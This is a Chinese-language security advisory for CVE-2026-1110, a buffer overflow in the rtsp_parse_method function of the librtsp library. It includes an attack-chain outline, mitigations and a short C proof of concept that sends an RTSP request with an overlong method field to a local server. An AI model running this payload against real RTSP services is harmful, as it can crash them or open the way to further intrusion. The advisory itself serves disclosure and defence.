IPBUF安全漏洞报告
English
CVE-2026-1110 CVSS 5.3 中危

CVE-2026-1110: cijliu librtsp rtsp_parse_method缓冲区溢出漏洞

披露日期: 2026-01-18

漏洞信息

漏洞编号
CVE-2026-1110
漏洞类型
缓冲区溢出
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
cijliu librtsp

相关标签

暂无标签

漏洞概述

cijliu librtsp是一个开源的RTSP(实时流协议)库。该库在解析RTSP方法时存在缓冲区溢出漏洞,漏洞位于rtsp_parse_method函数中。攻击者可以通过构造特制的RTSP请求消息触发该漏洞,导致程序崩溃或可能执行任意代码。漏洞影响从初始版本到提交2ec1a81ad65280568a0c7c16420d7c10fde13b04的所有版本。由于该产品采用持续交付和滚动发布模式,因此没有明确的版本号信息。厂商在早期收到通知后未做出任何回应。攻击需要本地访问权限,但不需要高权限或用户交互,使得漏洞在特定场景下容易被利用。

技术细节

缓冲区溢出发生在rtsp_parse_method函数中,该函数负责解析RTSP请求中的方法字段。漏洞源于对输入数据的长度验证不充分,当接收到超长的方法字符串时,函数将数据写入固定大小的缓冲区而不进行边界检查。攻击者可以通过发送包含超长方法字段的RTSP请求(如OPTIONS、DESCRIBE等)来触发溢出。在本地攻击场景中,攻击者需要能够向RTSP服务器或客户端发送恶意请求。虽然CVSS评分显示机密性、完整性和可用性影响均为低,但此漏洞仍可能导致服务中断或为进一步攻击提供条件。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统上运行的cijliu librtsp版本,确定其是否在受影响范围内(<= 2ec1a81ad65280568a0c7c16420d7c10fde13b04)
STEP 2
步骤2: 构造恶意请求
攻击者构造包含超长方法字段的RTSP请求消息,用于触发rtsp_parse_method函数中的缓冲区溢出
STEP 3
步骤3: 发送攻击载荷
通过本地网络连接向目标RTSP服务发送精心构造的恶意RTSP请求包
STEP 4
步骤4: 触发溢出
目标系统在解析恶意请求时,rtsp_parse_method函数将超长数据写入固定大小缓冲区,导致缓冲区溢出
STEP 5
步骤5: 影响评估
根据溢出程度,可能导致服务崩溃(拒绝服务)或在特定条件下执行任意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> // PoC for CVE-2026-1110 - librtsp rtsp_parse_method buffer overflow #define BUFFER_SIZE 4096 #define PORT 8554 void send_malicious_rtsp_request(int sock) { char buffer[BUFFER_SIZE]; memset(buffer, 0, BUFFER_SIZE); // 构建超长RTSP方法字段以触发缓冲区溢出 strcpy(buffer, "OPTIONS "); memset(buffer + 7, 'A', 2000); // 超过预期的缓冲区大小 strcat(buffer, " RTSP/1.0\r\n"); strcat(buffer, "CSeq: 1\r\n"); strcat(buffer, "\r\n"); send(sock, buffer, strlen(buffer), 0); printf("[+] Malicious RTSP request sent\n"); } int main() { int sock; struct sockaddr_in server; sock = socket(AF_INET, SOCK_STREAM, 0); server.sin_family = AF_INET; server.sin_port = htons(PORT); server.sin_addr.s_addr = inet_addr("127.0.0.1"); if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) { perror("[-] Connection failed"); return 1; } printf("[+] Connected to RTSP server\n"); send_malicious_rtsp_request(sock); close(sock); return 0; }

影响范围

cijliu librtsp <= 2ec1a81ad65280568a0c7c16420d7c10fde13b04

防御指南

临时缓解措施
由于厂商未回应且无官方修复版本,建议采取以下临时缓解措施:1) 如果可能,限制对RTSP服务的访问,仅允许受信任的客户端连接;2) 部署网络入侵检测系统监控异常的RTSP请求;3) 考虑使用防火墙规则限制本地RTSP端口的访问;4) 监控应用程序日志以检测潜在的利用尝试;5) 如有替代方案,暂时使用其他RTSP库。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表